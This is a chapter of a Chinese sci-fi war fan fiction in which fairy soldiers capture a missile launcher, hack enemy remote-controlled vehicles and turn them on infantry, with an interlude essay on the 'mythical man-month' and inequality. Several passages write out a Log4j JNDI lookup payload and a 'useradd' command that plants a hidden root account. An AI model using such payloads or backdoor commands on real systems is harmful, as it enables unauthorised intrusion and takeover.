要是带着缇亚忒的步枪下面那个枪榴弹发射器就好了。不过我也打不着他们。只有缇亚忒比较擅长用枪榴弹。

我掏出了无线电谱设备，按着定位系统所示的兰朵露可的船头前方，指向空中。

“Nephren Ruq to Tiat Sheba. Request immediate artillery support at designated zone!”

我只能大致猜测缇亚忒在那里。如果我指歪了，她什么都收不到。

我又将谱设备指向两个敌人。刚开始期待缇亚忒炮弹发射的火光，就惊觉那个猫征族向我的方向回过头来。夜视仪外，我趴着的树林里理应伸手不见五指，但对方猫一样的目光很快射入了我的双眼。

糟糕！

我的魔力早有准备，推着我从地上一跃而起向右狂奔。接着我拔掉手雷引线将其猛甩向敌人，并将手伸向背后的印萨尼亚。我的翅膀还剩一秒就准备好了。如果他们有枪但打得不是太准，我应该有机会逃回茫茫山林里。

——可能完全没有机会。夜视仪里，我看见猫征族的双眼完全锁定着我，并拔出腰间的不明物体。

但她没有瞄准我。她挡在半跪在地上的另一个人背后，将他一把拉起，又突然回头将视线转向我们头顶的空中。

空中有什么东西吗？难道准备用导弹攻击我？

防弹插板可挡不住导弹啊。连诺夫特的机翼都被贯穿了。

我要结束在这里了？

我心一横，直接拔出印萨尼亚冲向了两个敌人。星船坠落时所受的伤开始在我的肋骨里撕心裂肺。

敌人那边传来的不是枪炮声，而是：

“危险！”

她将刚才被拉起来的人又扑倒在地。紧接着爆炸声传来。缇亚忒的自爆手雷威力确实比一般的还大，并且我居然没有扔得太偏。那块地方炸得尘土四溅。

好机会！我心里发出了战吼声。我的双腿推着我像星船一样加力。

“呜哦哦哦——！”

冲入未散的浓烟，冲向那两个倒地不起的人。我实在没有力气给印萨尼亚注入魔力，但仅凭现在释放的一点点，完全足以把他们砍成……我也不知道需要砍成多少块才行。刚才扛着导弹发射器的人受手雷的伤应该比较轻，所以先砍那个人！

我的剑向地上的白发青年砍去。他仰面朝天，右臂被发射器压住，左边半身则被猫征族趴着压住。他张着嘴巴无助地看着我的剑刃纵斩落下——

我砍在了坚硬的金属上。旁边黑发的猫征族突然拽过导弹发射器，翻身横架住了我的剑。我的剑刃前端强行压下，压弯了她的双臂，切入了她的右肩右胸。但她以闪电的速度从左手抽出小刀刺向我的腹部。我释放出更多魔力，剑根顶住发射器发力，并向左后跳起。

她太快了，我无法躲开。肚子上传来一阵闷痛。她没有扎穿防弹插板。我的右手放开剑柄拔出手枪，但全身向后踉跄，几乎摔倒。

猫耳挣扎着试图起身，但马上彻底倒地不起。我的枪指向了似乎是无征种的白发青年。

“别！别杀我！我投降！——也别杀她！”

山野里只回荡着那个举起双手的白发青年的声音。我即将扣下扳机的手指停下了。刚才那样开枪肯定会让手脱臼，而且打不中白发青年。

我太菜了！一米的距离用手枪打不着人还会脱臼的那种菜！这场战斗本应完全是我处于下风。刚才也没能用出魔力连人带发射器一起劈开。我现在还活着真是奇迹。

用枪指着别人的时候，是不是应该稍微离远一点？

但是我没机会退到安全距离了。我终于发现自己的双腿几乎已经无力。我向前跪倒，顺势用左手压住白发青年的右臂，再用右手弯曲着拿枪抵着他的太阳穴。脱臼了也没关系，至少先死的不是我……

“咳咳咳——”

双腿完全是软的，上半身则弥漫着各种旧伤新伤的剧痛。喉咙里一股血味。我只能无视白发青年，猛烈地咳嗽。

“奈芙莲·卢可·印萨尼亚……”

“嗯？”

“横扫 REOI 的人，会设计 CPU 的那个人，用导弹的那个人，甚至还跟着威廉学无线电。”

他认识我？

好吧，也不奇怪。但仔细想想，这个白发人很眼熟。

“费奥多尔·杰斯曼。”

他是我上大学时认识的，密码学专业最厉害的学生。

“嗯。能，救救她吗？”

“嗯？”

他的头转向旁边的猫征族。我也顺着他的目光望去。

“你基本没受伤。也没有武器。也毫无战意。”我搜查武器的双手已经把他全身摸了个遍。

旁边那位猫征族的身下，许多殷红的动脉血在乱淌。这就是战争吗。

“她应该有救。”

“你内心比上大学的时候活泼了，像潘丽宝。”

堕鬼族为什么在这种时候也要扯奇怪的话题？

“抱歉。因为我开星船，而潘丽宝当了 ATC。”

这就是战争。

步兵真苦啊。

这位名为玛尔歌莉特·梅迪西斯的猫征族很快被我缠满了纱布扎牢了血管，还注射了类凝血激酶。没有强大魔力的人被炸成脑震荡加动脉出血加多处骨折还能跳起来挡住剑，确实是世外高人。费奥多尔说她是学谍报专业的。

“我不回艾尔比斯商国的军队了。他们没带医疗队，而且我自行背着玛尔歌回去估计会被当逃兵枪毙。我要找你们护翼军。”

好累。我不知如何回答，也不太想回答。

“没事，艾尔比斯的人不会察觉我跑路。我要对他们保持无线电静默。”

那就是说，你们的指挥官允许你自行逃跑咯？

“但你们的星船会射杀我的同胞，所以我还是发射了导弹。”

背心里的防弹插板实在太重了。我直接取下背心往费奥多尔头上套去。

“太重了。能帮我穿着吗？”

“你在找借口。”

“不，我也很累。”

我把手枪塞回腰间，背起印萨尼亚，然后打开玛尔歌的背包。那里面是四枚细长圆柱体。三枚刻着“AA”，一枚刻着“AT”。

“便携导弹。”费奥多尔居然直接交代了。

我又抱起发射器。某种程度上这个东西和星船 Insania 的导弹系统很像，尤其是瞄准用的屏幕上，完全就是我们星船的操作逻辑。我试着把里面装填的 AA 导弹退了出来，然后装入 AT。

“我很菜，只会密码学，所以造导弹是纯粹抄你们的。”

居然是费奥多尔自己设计的吗？

“我应该会用这个东西。现在你背上她跟着我走吧。Nephren Ruq to Lilya Asplay，已缴获防空导弹。抓了两个俘虏，其中一个重伤需要治疗……”

我背着发射器和所有导弹往居民区跋涉。费奥多尔的肩上则是全无意识的玛尔歌莉特。莉莉娅安排了两支医疗队从居民区的医院出发，可惜训练有素的医生不会打仗。

行啊。我是半吊子医生。我来打仗。

但是，敌人有点，多。

而且莉莉娅的谈判换来的安稳的停火状态极不稳定。敌人瞄准着跑道上的菟琪旭和诺夫特，相当于以她们为人质，挟持我们不得反抗。敌人要求想办法尽快让兰朵露可降落，然后

交出所有星船。

当然要避免这种交出所有星船的情况。敌人完全有可能对我们斩草除根。

“**Feo, stop. 趴下休息。**”

费奥多尔放下玛尔歌，自己气喘吁吁瘫倒在地。我也放下发射器和整包导弹，趴到地上，然后慢慢爬上前方 3 米的山脊顶部，举起望远镜，对准山下艾尔比斯商国的步兵战车。它的炮塔指向了诺夫特迫降在跑道上的船。测距，1359 米。

先这样多休息一会吧。

虽然四旋翼无人机已经拍到了敌人，但亲眼用望远镜看着才会彻底认清自己打不赢的事实。我正趴在我们军港南面的东西向山脊的最西侧。按照费奥多尔所说，艾尔比斯的军队在山脊北坡自西向东部署有 4 辆步战车，每辆车的南北又配有 2 支步兵小队。最西面 2 支小队南部的叫 alpha，北部的叫 beta，往东以 gamma, delta, epsilon, zeta, eta, theta 这样的规则递增。防空由步兵肩扛的导弹负责，而那些战车基本只是抄了诺夫特的歼击车，所以穿甲能力强却尚未安装良好的对空指挥瞄准系统，原则上只对地面攻击。

我的无人机和望远镜都只能看见西面 2 辆车。东面的敌人就无法以自己的设备确认了。费奥多尔是堕鬼族，按先验概率应该是说谎成性。不过为了玛尔歌，希望他这次按后验概率不会说谎。

直接强袭无异于自杀行为，并且诺夫特和菡琪旭也许会在驾驶舱里被另外 3 辆战车攻击。防止我们的船从地面开炮反击的最好方法就是杀死飞行员。艾尔比斯商国没有理由留下妖精的生命。

有没有可能在不被发现的情况下，逐群消灭 4 支敌人呢？

有没有可能一次性就消灭所有敌军？

兰朵露可的船不能齐射炮弹了，而缙亚忒的鱼雷有可能直接炸沉整座岛。

我的脑海盘旋着各种方案。这些方案越来越不切实际。

先测试一下导弹的瞄准吧。我退到了费奥多尔旁边。

“**Feo, AT 导弹足够炸穿你们的车吗？**”

“什么？AA 就够了。这个 AA 是按炸穿你们的星船为标准，不是炸我们的飞空艇。AT 的穿甲能力和那些战车炮差不多，连星船的驾驶舱都能打穿。”

“**那些车里确定没有人对吧。**”

“应该没有。步兵下车后，按要求应该由车载的人工智能自动运作，或者偶尔由车后面的步兵遥控一下。我们训练的时候从来都是这样。”

“**如果我用导弹锁定你们的车，确定我不会被发现？**”

“不会的啦。我这么菜，还没研究出这种东西。”

从大学里活着毕业的人是不是都习惯性地认为自己很菜？

“**那我去炸车了。**”

“别伤人就行。”

我扛起导弹发射器重新爬上山脊，左手把旋钮开关从 OFF 旋到 DAY，再旋到 NIGHT，再旋到 TEST。我一松手，旋钮就自己从 TEST 弹回了 NIGHT⁴⁰。

我又按下 FLTR 按钮，看向发射器屏幕。上面有几个绿色带圈的字：**NFOV, TOP, FLTR**。对准艾尔比斯的战车，按下 seeker 扳机。两秒后，屏幕上多了一个绿色带圈单词 **SEEK**。

“滴滴滴滴滴滴……”

屏幕上出现了矩形的四角，逐渐收缩套住战车。

“滴滴滴滴滴滴……滴——！”

屏幕上出现一个十字，交叉于战车上。

⁴⁰ 参考了 FGM-148 Javelin 导弹

锁定目标的过程和我想的完全一样，但现在当然不能发射。只摧毁一辆车的话，茱琪旭诺夫特甚至整个军港都可能被其他车攻击。

我关掉了 **SEEK**，放下发射器，开始沉思。

车里没有人。可以放心炸掉。

所以，那个，是遥控的大玩具车对吧？

而且跑道上不是停着一个 CTF 专家么？

“诺夫特，最近你有挖到高危漏洞吗？最好是能轻松拿到 **shell** 的那种。”

我掏出无线电谱设备对准大遥控车，让内置程序自动分析 1 到 100MHz 的功率谱，尝试匹配为已知的信号类型。程序很快在 72MHz 发现了一个有趣的信号。这个信号和我们遥控飞机使用的 40MHz 频率有异曲同工的逻辑。看来这个电磁谱设备真能比导弹强一百倍。

“**Feo**，我能把艾尔比斯的部队全灭吗？”

“哈？？？”

5 The Mythical Man-Month

“潘丽宝，你那边没事吧？”

“没事哦。指挥塔硬得很，比瓦尔卡利斯还硬。”

“不，我是说有没有闲工夫听我在着陆前说些我在古书上读到的东西？”

“我一时确实是无事可做啦。但 ATC 和飞行员闲聊其实不太好。简短些吧。”

“好。把我说的都记录下来。敌人窃听也没关系。”

人月神话。人就是人类的人。月就是一个月，月相周而复始的一个月。

上次威廉在恍惚中听黑烛公说的故事让我非常在意。古人们似乎认为无休止的内卷大致是因为外在资源供给不足，以及人们在恶性竞争中陷入囚徒困境。当然人的能力和时运实际上略有强弱之分，所以现实会表现为有的人在囚徒困境中总是获胜。结果 20% 的人发挥 80% 的生产力，1% 的人占有 50% 的财富。

在我们这个时代，基本生存资源的供给能力其实超过了人类基本需求的总量。那么假设内卷是由囚徒困境激发的，又假设人们自发地不卷了，自发地躺平，付出大致相等的少量生产力，过田园诗歌的生活，就不需要付出大量的努力，也能获得合理的生存资源了。

但只要主动躺平就好了吗？

我想用自己的研究对内卷现象的成因进行一些修正。

做技术（不限于软件技术）的人可能都听说过“人月神话”：假设世界上所有人都一样强（或者说一样菜），并且有一项技术性工作 1 个人花 10 个月就能完成。此时我堆 1000 个人上去也不可能在 0.01 个月内完成这项工作。很可能还是需要花两三个月。

现实中人类不可能都一样菜，因此最优选择通常是雇十几个最厉害的人，在四五个月内完成这项工作。

在越来越技术化的时代，人月神话导致任何有技术含量的行业都不可能容纳特别多的人。并且任何一个行业必然是 20% 的人发挥 80% 的生产力。即使我们人人都不卷，人人水平都差不多菜，这种情况也不会好转。

从星神视角来说，要改善这种马太效应的状态，我们只能不停地开拓新行业以容纳更多的人。而从我们个人角度来说，是要谨慎选择一个已经卷炸了的行业。要勇于开拓新的蓝海。

但现实中的问题是，开拓新的行业需要拥有生产资料的人愿意投入到这个行业去。不是谁都有动力不停地开拓新行业的。有些时候还会有人生捏造一个假的行业，比如古时候的股市和房地产。

人类当前能投入的生产资料是有限的,并且新行业的生长速度不可能追得上指数增长的繁荣行业(例如古时历法 21 世纪 10 年代的互联网),因此仅凭开拓新行业解决马太效应也不是很现实,除非我们能以指数速度不停地变出很多新行业。更何况不是所有生产资料都是为人民服务的。有些生产资料的拥有者要吸你的血。

综上,1%的人拥有 50%财富的情况并不会仅因为人类打倒资本主义而结束。想要结束这种状态,需要终结一些目前如空气般自然成立的假设。我不知道怎么正确地推翻,所以只能举一些不恰当的例子,比如我们实行绝对平均分配!我们要求每个月重新随机分配所有人的财产!但这样只会让所有人都不劳动。另一类情况比如我们真的能以指数速度发现对人类有益的新事业!但是我当然不知怎么实现这种情况。这个时代发掘新行业的速度其实已经很快了,但是行业衰落的速度也很快(并且还远没有登峰造极就由于人月神话而衰落了。人多并不能有助于登峰造极)。大多数人学习的速度无法追上切换新行业所需的速度,因此反而无所适从。

如果你是只想赚钱混日子的个人,那么除了要自我奋斗,还要果断地根据历史进程切换行业。自我奋斗并不是努力学会某个行业所需知识,而是要努力学会以闪电般的速度学习新行业的知识。如果你不是普普通通的个人,而是想凭一己之力让这个时代风起云涌,那我也不知道说什么好。祝你好运。

“人是有限的。自我奋斗是会累的。累了就不要奋斗了。明智地躺平等死也是一种大智慧。”

“这话听着就像是完整的潘丽宝上了战场,然后拖着残缺的右手被救回来时说的话。”

“……你占用这个频道有点久了。”

“不过也挺有道理的。”

“好哦~。我不会失去什么的。我还会完整地帮你活着回来。”

“诺夫特,最近你有挖到高危漏洞吗?最好是能轻松拿到 shell 的那种。”

是奈芙莲吗?她的无线电谱设备的指向好像稍微歪了一点

“Pannibal to Nopht. 奈芙莲问你最近有没有挖到高危漏洞?最好能轻松拿到 shell。”

然后也用单一指向的无线电给奈芙莲回个话。

“Pannibal to Nephren. Will Advise. Wait one. ”

诺夫特在我的屏幕上打了一行字:

```
`log.error("${jndi:ldap://localhost:56868/}");`
```

我的专长真的只是图像处理。我一时不明白这行字在说什么。

屏幕上又出现了:

```
`log4j`
```

“开个服务器返回你要执行的代码内容,让使用了 log4j 的服务访问你的服务器,就可以执行任意代码。”

我好像明白了。我把这些复制给了奈芙莲。

有才之人的一个好点子,可能足以让 99%普通人 120%的挣扎化为灰烬。当然有些好点子实现起来需要大量生产资料,但另一些点子并不需要太多资源。

世界会变得更不安定。即使我们都一样菜,1%的人发挥 99%力量的时代也终会到来吗?

这是技术的诅咒。

6 This is War

这就是战争。

太巧妙了。诺夫特的研究也许能一次性杀死在场的所有艾尔比斯人，除了我左后方的两个。战争不只发生在枪炮刀剑中。99%的战争发生在科技的准备上，或者才华的水平上，发生在电磁空间和人的认知空间。悲惨的 99%士兵们无论多么努力地控制呼吸寻找瞄准敌人，多么疯狂地逃跑，终究逃不过 1%的人为他们设定的命运。

我想起兰朵露可说，古书上写着过去的妖精们直接拿起圣剑与兽战斗。然后她们也没有几个能逃过悲惨的死亡。兰朵露可认为那时的妖精完全不可能仅凭个人努力而幸存。她们没有计算机，没有星船，没有我手里这个电磁谱设备，无法发挥出这个时代我们发挥的力量。时运不济啊。

但今天，优势在我。该杀就杀。

“Feo，我能把艾尔比斯的部队全灭吗？”

“哈？？？”

“杀吧。如果能对玛尔歌有好处的话。”

“唔。如果我这里有什么闪失，我们可能会失去跑道上的两只妖精，可能还会失去空中的一只或者两只妖精，或者我也可能会死。不过我的计划一定对玛尔歌有好处。至少不会让你们的处境变糟。”

“杀吧！浮游大陆最好大多数都沉没。只留十分之一的人就够了。让他们知道这样的日子并非理所应当，而是被一群伟大的程序猿保护着！”

“这是什么奇怪的信条啊。程序猿又不比其他行业的更高贵。当公务员的，搞金融的，搞制造业的，搞实体经济的，搞机械的搞土木的搞生化环材的，大家都是平等的。”

“但你们以 0.1%的人数发挥着 99.9%的力量……”

哦，兰朵露可好像也这么说，虽然我不太同意。

确实我们在小学初中高中的年龄就被妮戈兰老师教了很多有才的知识，可以匹敌大学毕业生了，但我觉得那种力量最终是电脑发挥的，而不是我们发挥的啊。

各行业都有人在自己的行业发挥 99.9%的力量。我们只是时运比较好而已。

“救救她！我不知道玛尔歌还能活几分钟啊！”

他好像快要坏掉了欸。

来考虑一下那辆战车的程序大概是怎么写的吧。

从诺夫特造出遥控玩具车开始（嗯，诺夫特小时候真的造了用来玩的遥控车），车上就有一个独立的服务进程专门处理遥控器发射的信号，并且它用了 log4j 记录遥控器的所有输入。此服务自然是以高权限运行，便于控制车上一切设备。后来诺夫特给自己的歼击车加上遥控功能时，也沿用了玩具车的设计。艾瑟雅的四旋翼无人机也照搬诺夫特的程序结构。诺夫特上周突然修改了一些歼击车里万年不变的遥控服务代码，确实与 log4j 的漏洞有关。艾瑟雅的四旋翼无人机本来也应该修补这个漏洞，但因为是当作玩具，又因为最近艾瑟雅伤病较重，于是没有跟着诺夫特改代码。

我打算先用无人机做试验。如果能用无线电谱设备在我的无人机上开一个高权限的新用户，并执行一些夸张的操作，短时间内还不被系统或者其他用户发现，那么我也能用类似的方法去控制艾尔比斯商国的那辆车。

我在无线电谱设备上的 6868 端口起了一个 ldap 服务，响应内容是用 java 执行命令

`useradd -p tmppswd -g root -r nephy`。接着我把无线电谱设备指向 2kil 外的无人机，连接上遥控频段。

```
$(jndi:ldap://192.68.1.2:6868/ }
```

真的在无人机上新开了一个用户。

我用新开的 nephy 用户让无人机绕开敌人，向 14kil 外的医院飞去。我的心里充斥着虚无。

现在用 SEN-001 的电子战系统帮助我同时夺下 4 辆车的控制权。

“潘丽宝，请把你的雷达标出的 4 辆战车位置实时共享给菰琪旭。”

“菰琪旭，用火控系统锁定这 4 辆车，但只锁定，不要把炮塔转向它们。准备在 72MHz 向它们定向发送这段遥控代码。发送后我可能会要求在这些车的 72MHz 频率施加电磁干扰。这之后我可能随时要要求停止干扰，或者让你同时炮击 4 辆车，或者只炮击东边 3 辆。也可能突然让你切换高爆弹覆盖这 4 辆车南北的区域。”

“WILCO!”

“啊，如果我失误的话菰琪旭可能会死。”

“我，我相信奈芙莲!”

我的这段代码会在每辆车上新建 root 级别账户 nephy，然后删除其他所有账户，接着用 nephy 账户修改车上敌我识别系统，最后让车载人工智能接管车辆自动开火。车子打的当然会是那些艾尔比斯的步兵。

广播代码之前，用我面前的车试一下前半部分代码。我开出了 nephy 账户。敌人没有动静。

等等。怎么确保这辆车一次性消灭前后所有步兵呢？前后都有敌人，或许无法在 1 分钟内解决。

“Feo，你们整支部队的指挥部门的代号叫什么？”

“Omega.”

我调出无线电谱设备自带的语音生成模型，让它以年轻男性的声音生成：

“Omega to alpha. Move one hundred meters, front!”

“Omega to beta. Move one hundred meters, back!”

我直接把这两句语音向那两支步兵队伍定向发送了出去！

夜视仪里，我看见 beta 一群卧倒在树林草丛间的士兵齐刷刷地爬起，向他们的战车小跑过去。不一会，我望见远方的 alpha 小队也跑到了战车前方趴好。

我干着战史上前所未有的事。

“Feo，你们的指挥部门把那个战车叫什么？IFV 吗？还是 Tank destroyer 或者 TD？”

“APC. Armoured personnel carrier. 其实训练的时候它同时充当 IFV 和 TD。”

好厉害。三车合一的优秀设计。

“Omega to gamma. Move one hundred meters, front, to the rear of your APC!”

“Omega to delta. Move one hundred meters, back to your APC!”

.....

“莉莉娅君，能不能对艾尔比斯的人说，我们要放弃在跑道上修复 SEN-001，不放出前起落架，强行脱离跑道让 HIS 着陆？”

“菰琪旭，把咒燃炉开大，但只让船缓慢移动。如果有车向你开炮，立刻开加力强行起飞，同时向所有车辆撒烟雾弹和电磁干扰。”

再仔细思考一下。一切都准备就绪了吗？

其实我不是很有信心。代码容易出错。敌人也有可能突然察觉一切。这相当于我将未完

整测试的代码放到未知的生产环境中。

现在我的心跳特别快。在下达最后的指令之前，我想尝试遥控自己前方的战车倒退 0.05 米。车动了。

“广播代码！”

眼前突然变成了炼狱的景象。

一秒钟前，我还是在机库外无所事事地跳着健身操等待 SEN-001 滑入库的可蓉琳。一秒钟后，传来一声不太响亮的爆炸。这和我们用的炮弹爆炸声有某种不同。我转过身，完全没想到军港南面的山脊上处处开花——许多地方都发生了爆炸。4 片火海照亮了夜空，开始并行吞噬这条山坡。望远镜里，许多人身上烧着火。他们打着滚，或者飞奔。

可是我们并没有向他们开火啊？艾尔比斯在干嘛？总不能是自己放火烧自己人？

糟糕，他们也许会向我们开炮的。我飞奔逃进机库，却想到机库应该也挡不住艾尔比斯的炮弹。我借着翅膀跳起三米高，落进了机库角落里的一辆歼击车。

跑道那边，蒯琪旭的发动机声开始加倍咆哮。对不起，我什么都做不了。

“艾瑟雅，能不能用你那个超大的玩具接我们回去。就是头顶上有特大号电风扇，尾巴上还有小号电风扇的那个。”

我前方的战车，还有东边的三辆，全部被我以黑客的手段控制。它们铲除艾尔比斯的步兵时，并没有按我的意料发射 HE 炮弹，而是以每秒一发的速度怒吼着某种燃烧弹。费奥多尔自行从我左后方爬了上来，然后冷冷地说：

“这个炮弹叫 Napalm，是玛尔歌和她认识的人秘密研究出来的东西。本来是绝对不能用的，因为它会把接触到的一切全部吞没。”

我想到了古书上记载的某种装在小瓶子里的兽。我看到许多人在山下被烧灼着挣扎着摸爬滚打，也有人身上燃烧着四散逃窜。我在计算机层面发起的战争似乎已经确定了胜局。但我有点不忍心看下去了。我发现杀人与杀兽完全不是一种感觉。

费奥多尔突然大惊失色地滚回玛尔歌身边，背起玛尔歌就跑。

“最多十分钟，火就会烧到我们这！”

我心里一惊。虽然我的程序都正确运行了，但让人工智能完全接管战车似乎是严重错误。

我举起无线电谱设备，关闭了前方战车的人工智能，连接到它的炮塔摄像头，将炮塔右转并装填我比较熟悉的 APFSDS 炮弹。

炮塔摄像头能看见 20 多 km 外东方最远处第 4 辆战车，但我没有信心命中。于是我让第 2 辆战车帮我中继遥控第 3 辆，并将第 3 辆的炮塔对准最远的第 4 辆。第三辆的炮塔屏幕里飞出一个高速的白色杆状物，刺入第 4 辆的车身。第 4 辆的炮塔向上飞了出去，然后重重地砸在地上。

我又遥控第 2 辆以同样方式给第 3 辆判了死刑。接着第 1 辆也把第 2 辆的炮塔掀出十多米高。

最后。

NFOV, TOP, FLTR, SEEK

“滴滴滴滴滴滴滴滴……滴——！”

我扣下扳机。AT 导弹正确地飞了出去，在即将命中战车时突然向上蹿出，又落下来直灌车顶。此时我才松开了发射扳机。第 1 辆车的炮塔倒砸在地上，摇摇晃晃地滑下山坡。费奥多尔的这种攻击方式真的很有创意。没有什么车会在顶盖上安装厚装甲，而且拦截这种导弹也会变得困难。

Small, fast, deadly. 费奥多尔的武器有精彩的原创成分，不能都算是抄的。

“走吧，Feo。”

啊，艾瑟雅现在站起来都很困难，只能坐轮椅。她没法开着大玩具来接我们的吧。

我丢弃了导弹背包，扛上发射器，一边往里塞入 AA 导弹，一边往右后方跑。费奥多尔在我处理那堆战车的 2 分钟内早已背着玛尔歌努力地半爬半走了五六十米。按他这个速度显然逃不掉的。

我倒是可以扔掉发射器直接用翅膀俯冲下山。也许还能背一个人飞下山。但往返背两个人下山的话，真不知道自己的身体是否吃得消。

如果往返飞行的话，先背玛尔歌下山，花掉 4 分钟，同时费奥多尔往山下狂奔，我花 5 分钟飞上来接他……

正思考着，我就已经跑到越过费奥多尔 30 多米了。我要求自己在 1 分钟内做最后决定。

我站在原地等费奥多尔背着玛尔歌慢慢地爬过来，示意他停下。他上气不接下气，紫色的眼睛里像燃烧着火光。

我从他的背心里抽出防弹插板丢弃到地上：“这个没用了。”

他马上加快速度跑了起来。我决定先跟着他慢慢跑。

Whoa, thought it was a nightmare.

Lord, it's all so true.

They told me, "Don't go walkin' slow,
Cause Devil's on the loose."

Better run through the jungle,

Better run through the jungle,

Better run through the jungle,

Whoa, don't look back to see.

艾瑟雅开着那个叫“直升机”的大玩具来接我们了：“坐轮椅的人就不能开飞机了？只要没有防空导弹，谁都可以开飞机！你们这是就业歧视啊！歧视！”

“比如说蓝天，比如说还没读过的书，那才是让人觉得辽阔的东西。现在满山遍野都是光秃秃的焦炭。其实，有点，过分。”兰朵露可在第二天清晨着陆后那样评价我的行为。

“我出生的时候好像也这样满山遍野地烧着火。然后我也被谁给救了。也许我现在的心里也留存了一点那时的情绪。”潘丽宝这样说。

“没有妖精受伤的世界完成了！以后想起那一夜的话，哇~地喊出来，就会比较不害怕啦！”可蓉并没有拒绝这意外的结局。

“都活下来了。我觉得……非常高兴。”菀琪旭也还算是开心吗？

“请别让我想起他们狰狞的表情！”缇亚忒不太想谈论这一战。

这种事的感受和消灭【兽】完全不一样。这就是战争吗。

下次不想这样了。

True Ending:

“这场会议是简短地总结一下昨天的战斗。”莉莉娅对食堂里的所有人说。

“其实我也并不想在这里开总结会，我也希望大家好好吃晚饭好好休息。但这场战斗过于特殊了。我们要迅速吸取经验教训。首先说我自己的责任。一直以来我设计的指挥流程中只考虑了对【兽】的效率，完全没考虑其他国家叛乱的可能性。但我现在明白了一个早该明

白的道理：负责指挥暴力机器的人不可不关心政治。虽然大家现在基本没有大碍，但我让你们冒了不必要的巨大风险。我对不起这里的所有人，也对不起艾尔比斯的那些普通人。”

莉莉娅深深地鞠躬。众人沉默。

“我觉得这是把艾尔比斯的商人造的大黑锅强行往自己头上扣。你看这口锅它又大又黑又圆，莉莉娅君完全没必要背。”诺夫特左手给兰朵露可喂出烤肉，右手从格里克那里接过另一串烤肉边啃边说。

“嗯……没有必要。”兰朵露可靠着椅背仰着头睡眼惺忪地嚼着肉。今天的肉有点焦。

“没有必要。”奈芙莲躺在医院里喝着粥，举着无线电设备用视频连线。

“把小玩具大玩具都开上战场的感觉很激动哦！”艾瑟雅在屏幕里的轮椅上笑嘻嘻。

“说实话，莉莉娅汇总的报告书莫名地点燃了我的恐惧。我今天一整天都在害怕突然失去你们。甚至我自己也更惧怕死亡了。”威廉也枕着白枕头，在屏幕里用手臂压着眼睛说，

“我什么都做不了，活得无所适从。所以莉莉娅现在就不要白白增添我们的恐惧了。”

“没事的，威廉，没事的。”珂朵莉这样安慰着。

莉莉娅还是保持着鞠躬的姿势。可蓉跳到莉莉娅背后把莉莉娅强行掰成站立状态，按到座位上，往她嘴里硬塞了一块甜饼干，又往莉莉娅的左手塞甜甜圈，右手递上硕大的一整个黄油蛋糕⁴¹。

莉莉娅叼着饼干拿着甜甜圈，呆呆地凝视可蓉。

爱尔梅莉亚把莉莉娅面前一整个黄油蛋糕切出一小块放在小碟里。

“Muwahahaha！我勇敢的战士哟，不必自责！我们心中的风仍然劲猛，没有实质的损失！”灰岩皮捧腹大笑，“这场战斗让我相信，以诸位的水平，仅凭一艘瑟尼欧里斯就足以踏平艾尔比斯。”

“啊，那个就算了。没有必要。”莉莉娅咬下了半块饼干边嚼边说。另半块饼干落在了黄油蛋糕的盘子里。

“那就说说这次每位参战者在战术上值得肯定的地方。你们在战斗中面对未知敌人的临场决断非常漂亮，没有明显失误。硬要说有什么问题的话，也许赫斯托利亚和护航船可以考虑加强对周围的警戒，不能为了隐蔽自己就完全不开雷达。护航船可以考虑每过一个随机时间就用高功率雷达扫一圈。当然这次并不是缇亚忒或者兰朵露可的错误。我的方法也只是权宜之计。赫斯托利亚火力很强，装甲看起来很弱，所以容易招致集中攻击。我正在考虑一些分布式雷达，分布式可信计算，可信敌我识别还有可信指挥的新技术。顺便我会想办法让所有船能独立自动同时跟踪拦截 512mol 以上的目标。希望能从根本上解决问题。”

“兰朵露可从古书上悟到的二阶提前量炮击方式非常值得推广。二阶提前量这个词其实是我捏造出来的。我们知道攻击高速移动的物体时不能瞄准它本身，因为当我们的炮弹到达时它已经离开了原地。我们要计算它当前的速度，也就是拿它的位置函数对事件求导，预测我们炮弹到达时它所在的位置。位置对时间求一阶倒数所推算的瞄准点，被我叫做一阶提前量点。然后，古书上说的是什么来着？以前的人玩空战游戏的时候，屏幕上会提示敌人的一阶提前量点，大家就会对着这个一阶提前量点开炮，这样新手也不用当机体描边大师了对吧？但那时候很多新手都在困惑，为什么对着一阶提前量点撒了 800 发机炮，却只有少量几个命中？我们再考虑一下，如果敌人的飞机在做高 G 机动会发生什么？我们对着一阶提前量点射击时只考虑敌人的当前位置和速度，不考虑加速度。如果我们的炮弹到达前，敌人的速度明显改变了，则他还是可以避开炮弹。甚至我们距离匀速直线运动的敌人足够远的话，敌人看见我们炮弹发射后才立即猛拉操纵杆，也能躲开炮弹。”

“这说明什么呢？一阶提前量并不能提高命中率，甚至三阶四阶五阶的提前量也没什么用。如果我们无法在炮弹射出后改变它的轨迹，如果敌人能看到炮弹，还能在短时间内做足

⁴¹ 还记得上一章艾瑟雅啃面包时说这是稀有食物吗？饼干、甜甜圈和黄油蛋糕也是稀有食物。

够大加速度的机动，则任何高阶提前量点都没有用。”

“但是兰朵露可的做法很有趣。最初的二阶提前量系统是假设敌人的位置对时间的函数在短时间内受到二阶 PID 系统控制，然后我们试着拟合敌人的这个控制系统的拉普拉斯变换的结果。当然我们也可以假设敌人的控制系统是三阶四阶的，不过高阶系统通常不稳定，难以估出方差较小的模型参数，又主要与飞行员的操作有关，因此并无必要。后来兰朵露可还从古书上发现了深度学习，所以最近赫斯托利亚的火控已经改用深度学习做运动预测。当然两种方法还不能保证完全准确，因为模型的阶数是有限的。敌人的意图、想法或者惯用套路之类的无法用模型来预测，需要用射手的训练与思考去修正。”

“接着我迫不及待地想说奈芙莲的战斗。某种程度上奈芙莲一人改变了整个战局。也要感谢诺夫特的点子和菟琪旭的电子战。我认真地重新查了资料。以前从未有过这种黑掉敌人武器的先例。报告书上没有细讲，因为我其实还没完全明白奈芙莲具体干了什么。奈芙莲有兴趣自己介绍一下吗？”

“好累。想睡觉。”

“哦，好吧。那么先说一下机场南面的山脊的防火。岛上的居民时不时会砍掉山脚下的树，说是为了避免山火。这个做法并未有明确的历史记载验证其效果，但这次真的避免了山火吞掉机场和居民区。”

“啊，抱歉，可不可以不要说那片山坡。我今天早上去塔台的路上全是一股怪味道。我一直扭着头不敢往那边看。我的梦里全都是那些焦黑的……肉块。”潘丽宝低着头说。

“呕——”

菟琪旭马上给潘丽宝递了自己的空碗，捂住潘丽宝的肚子。潘丽宝连连干呕，什么都没吐出来。

“对不起……”莉莉娅拿来几张餐巾纸。

